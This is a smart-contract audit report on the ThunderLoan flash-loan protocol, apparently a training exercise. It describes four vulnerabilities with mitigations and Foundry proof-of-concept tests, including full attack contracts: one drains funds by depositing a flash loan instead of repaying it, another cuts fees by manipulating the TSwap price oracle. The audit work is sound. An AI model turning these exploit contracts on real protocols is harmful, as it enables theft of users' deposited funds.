ThunderLoan Audit Report

Version 1.0

h1utt

February 7, 2025

ThunderLoan Audit Report

h1utt

February 07, 2025

Prepared by: h1utt Lead Security Researcher: - h1utt

Table of Contents

Protocol Summary

The ThunderLoan protocol is meant to do the following:

1. Give users a way to create flash loans
2. Give liquidity providers a way to earn money off their capital

Liquidity providers can deposit assets into ThunderLoan and be given AssetTokens in return. These AssetTokens gain interest over time depending on how often people take out flash loans!

Disclaimer

h1utt makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
8803f851f6b37e99eab2e94b4690c8b70e26b3f6
```

Scope

```
./src/
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Issues found

Severity	Number of issues found
High	3
Medium	1
Low	0
Info	0
Total	4

Findings

High

[H-1] Erroneous `ThunderLoan::updateExchangeRate` in the `deposit` function causes protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate

Description: In the ThunderLoan system, the `exchangeRate` is responsible for calculating the exchange rate between assetTokens and underlying tokens. In a way, it's responsible for keeping track of how many fees to give to liquidity providers.

However, the `deposit` function, updates this rate, without collecting any fees!

```
    function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);

@>      uint256 calculatedFee = getCalculatedFee(token, amount);
@>      assetToken.updateExchangeRate(calculatedFee);

        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

Impact: There are several impacts to this bug

1. The `redeem` function is blocked, because the protocol thinks the owed tokens is more than it has.
2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or less than deserved.

Proof of Concept:

1. LP deposits
2. User takes out a flash loan
3. It is now impossible for LP to redeems.

Proof of Code

Place the following into `ThunderLoanTest.t.sol`

```
    function testRedeemAfterLoan() public setAllowedToken hasDeposits {
        uint256 amountToBorrow = AMOUNT * 10;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
           amountToBorrow);

        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), calculatedFee); //
           fee
        thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
           amountToBorrow, "");
        vm.stopPrank();

        uint256 amountToRedeem = type(uint256).max;
        vm.startPrank(liquidityProvider);
        thunderLoan.redeem(tokenA, amountToRedeem);
    }
```

Recommended Mitigation: Removed the incorrectly updated exchange rate lines from `deposit`

```
    function deposit(IERC20 token, uint256 amount) external
       revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.
           EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);

-       uint256 calculatedFee = getCalculatedFee(token, amount);
-       assetToken.updateExchangeRate(calculatedFee);

        token.safeTransferFrom(msg.sender, address(assetToken), amount)
           ;
    }
```

[H-2] Mixing up variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`, freezing protocol

Description: `ThunderLoan.sol` has two variables in the following order:

```
    uint256 private s_feePrecision;
    uint256 private s_flashLoanFee; // 0.3% ETH fee
```

However, the upgraded contract `ThunderLoanUpgraded.sol` has them in a different order:

```
    uint256 private s_flashLoanFee; // 0.3% ETH fee
    uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity works, after the upgrade the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the position of storage variables, and removing storage variables for constant variables, breaks the storage locations as well.

Impact: After the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged the wrong fee.

More importantly, the `s_currentlyFlashLoaning` mapping will be stored in the wrong storage slot.

Proof of Concept:

Proof of Code

Place the following into `ThunderLoanTest.t.sol`

```
import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/
    ThunderLoanUpgraded.sol";
.
.
.
function testUpgradeBreaks() public {
    uint256 feeBeforeUpgrade = thunderLoan.getFee();
    vm.startPrank(thunderLoan.owner());
    ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
    thunderLoan.upgradeToAndCall(address(upgraded), "");
    uint256 feeAfterUpgrade = thunderLoan.getFee();
    vm.stopPrank();

    console2.log("Fee Before: ", feeBeforeUpgrade);
    console2.log("Fee After: ", feeAfterUpgrade);

    assert(feeBeforeUpgrade != feeAfterUpgrade);
}
```

You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`

Recommended Mitigation: If you must remove the storage variable, leave it as blank as to not mess up the storage slots.

```
-    uint256 private s_flashLoanFee; // 0.3% ETH fee
-    uint256 public constant FEE_PRECISION = 1e18;
+    uint256 private s_blank;
+    uint256 private s_flashLoanFee; // 0.3% ETH fee
+    uint256 public constant FEE_PRECISION = 1e18;
```

[H-3] Using `deposit` instead of `repay` can lead to all the funds being stolen

Description: The `ThunderLoan` contract incorrectly allows the use of `deposit` instead of `repay` within the `executeOperation` function of a flash loan. This enables an attacker to circumvent the repayment logic and instead gain additional funds by depositing the borrowed amount plus fees, rather than repaying it. Since the deposit grants the attacker ownership of tokenized assets, they can later redeem these assets for the underlying tokens, effectively stealing funds from the protocol.

Impact: An attacker can use this exploit to steal all available funds from the protocol by executing a flash loan where the borrowed amount and fee are deposited instead of being repaid. The deposited funds grant the attacker a claim on the asset pool, which they can later redeem for a greater amount than they initially had. This effectively drains the protocol's liquidity, leading to a total loss of user funds.

Proof of Concept:

Proof of Code

Place the following test into `ThunderLoanTest.t.sol`, under the `ThunderLoanTest` contract

```
function testUseDepositInsteadOfRepayToStealFunds()
    public
    setAllowedToken
    hasDeposits
{
    vm.startPrank(user);
    uint256 amountToBorrow = 50e18;
    uint256 fee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
    DepositOverRepay dor = new DepositOverRepay(address(thunderLoan));
    tokenA.mint(address(dor), fee);
    thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "");
    dor.redeemMoney();
    vm.stopPrank();

    assert(tokenA.balanceOf(address(dor)) > 50e18 + fee);
}
```

Place this contract below the `ThunderLoanTest` contract

```
contract DepositOverRepay is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    AssetToken assetToken;
    IERC20 s_token;

    constructor(address _thunderLoan) {
        thunderLoan = ThunderLoan(_thunderLoan);
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address /* initiator */,
        bytes calldata /* params */
    ) external returns (bool) {
        s_token = IERC20(token);
        assetToken = thunderLoan.getAssetFromToken(IERC20(token));
        IERC20(token).approve(address(thunderLoan), amount + fee);
        thunderLoan.deposit(IERC20(token), amount + fee);
        return true;
    }

    function redeemMoney() public {
        uint256 amount = assetToken.balanceOf(address(this));
        thunderLoan.redeem(s_token, amount);
    }
}
```

Remember to import relevant libraries, contracts, etc.

Recommended Mitigation: To prevent this vulnerability, enforce that a flash loan must be repaid instead of allowing deposit/transfer operations within `executeOperation`.

Medium

[M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks

Description: The TSwap protocol is a constant product formula based AMM (Automated Market Maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact: Liquidity providers will drastically reduced fees for providing liquidity.

Proof of Concept:

The following all happens in 1 transaction:

1. User takes a flash loan from `ThunderLoan` for 50 `tokenA`. They are charged the original fee `fee1`. During the flash loan, they do the following:
    1. User sells 50 `tokenA` on TSwap, tanking the price.
    2. Instead of repaying right away, the user takes out another flash loan for another 50 `tokenA`.

1. Due to the fact that the way `ThunderLoan` calculates price based on the `TSwapPool` this second flash loan is substantially cheaper.

```
    function getPriceInWeth(address token) public view returns (uint256
       ) {
        address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(
           token);
@>      return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth
   ();
    }
```

3. The user then repays the first flash loan, and then repays the second flash loan.

Proof of Code

Place the following test into `ThunderLoanTest.t.sol`, under the `ThunderLoanTest` contract

```
    function testOracleManipulation() public {
        // 1. Setup contracts!
        thunderLoan = new ThunderLoan();
        tokenA = new ERC20Mock();
        proxy = new ERC1967Proxy(address(thunderLoan), "");
        BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth))
           ;
        // Create a TSwap DEX between WETH/TokenA
        address tswapPool = pf.createPool(address(tokenA));
        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(pf));

        // 2. Fund TSwap
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 100e18);
        tokenA.approve(address(tswapPool), 100e18);
        weth.mint(liquidityProvider, 100e18);
        weth.approve(address(tswapPool), 100e18);
        BuffMockTSwap(tswapPool).deposit(
            100e18,
            100e18,
            100e18,
            block.timestamp
        );
        vm.stopPrank();
        // Ratio 100 WETH & 100 TokenA
        // Price: 1:1

        // 3. Fund ThunderLoan
        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 1000e18);
        tokenA.approve(address(thunderLoan), 1000e18);
        thunderLoan.deposit(tokenA, 1000e18);
        vm.stopPrank();

        // 100 WETH & 100 TokenA in TSwap
        // 1000 TokenA in ThunderLoan
        // Take out a flash loan of 50 tokenA
        // Swap it on the DEX, tanking the price > 150 TokenA -> ~ 80
           WETH
        // Take out ANOTHER flash loan of 50 tokenA (and we'll see how
           much cheaper it is!)

        // 4. We are going to take out 2 flash loan
        //      a. To nuke the price of the Weth/tokenA on TSwap
        //      b. To show that doing so greatly reduces the fees we
           pay on ThunderLoan
        uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA,
           100e18);
        console2.log("Normal Fee is: ", normalFeeCost);
        // 296147410319118389

        uint256 amountToBorrow = 50e18;
        MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver
           (
            address(tswapPool),
            address(thunderLoan),
            address(thunderLoan.getAssetFromToken(tokenA))
        );

        vm.startPrank(user);
        tokenA.mint(address(flr), 100e18);
        thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, "")
           ;
        vm.stopPrank();

        uint256 attackFee = flr.feeOne() + flr.feeTwo();
        console2.log("Attack Fee is: ", attackFee);
        assert(attackFee < normalFeeCost);
    }
```

Place this contract below the `ThunderLoanTest` contract

```
    contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    address repayAddress;
    BuffMockTSwap tswapPool;
    bool attacked;
    uint256 public feeOne;
    uint256 public feeTwo;

    // 1. Swap TokanA borrowed for WETH
    // 2. Take out ANOTHER flash loan, to show the difference

    constructor(
        address _tswapPool,
        address _thunderLoan,
        address _repayAddress
    ) {
        tswapPool = BuffMockTSwap(_tswapPool);
        thunderLoan = ThunderLoan(_thunderLoan);
        repayAddress = _repayAddress;
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address /* initiator */,
        bytes calldata /* params */
    ) external returns (bool) {
        if (!attacked) {
            // 1. Swap TokanA borrowed for WETH
            // 2. Take out ANOTHER flash loan, to show the difference
            feeOne = fee;
            attacked = true;
            uint256 wethBought = tswapPool.getOutputAmountBasedOnInput(
                50e18,
                100e18,
                100e18
            );
            IERC20(token).approve(address(tswapPool), 50e18);

            // Tank the price
            tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(
                50e18,
                wethBought,
                block.timestamp
            );

            // We call a second flash loan
            thunderLoan.flashloan(address(this), IERC20(token), amount,
                "");

            // Repay
            // IERC20(token).approve(address(thunderLoan), amount + fee
                );
            // thunderLoan.repay(IERC20(token), amount + fee);
            IERC20(token).transfer(address(repayAddress), amount + fee)
                ;
        } else {
            // Calculate the fee and pay
            feeTwo = fee;

            // Repay
            // IERC20(token).approve(address(thunderLoan), amount + fee);
            // thunderLoan.repay(IERC20(token), amount + fee);
            IERC20(token).transfer(address(repayAddress), amount + fee);
        }

        return true;
    }
}
```

Remember to import relevant libraries, contracts, etc.

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.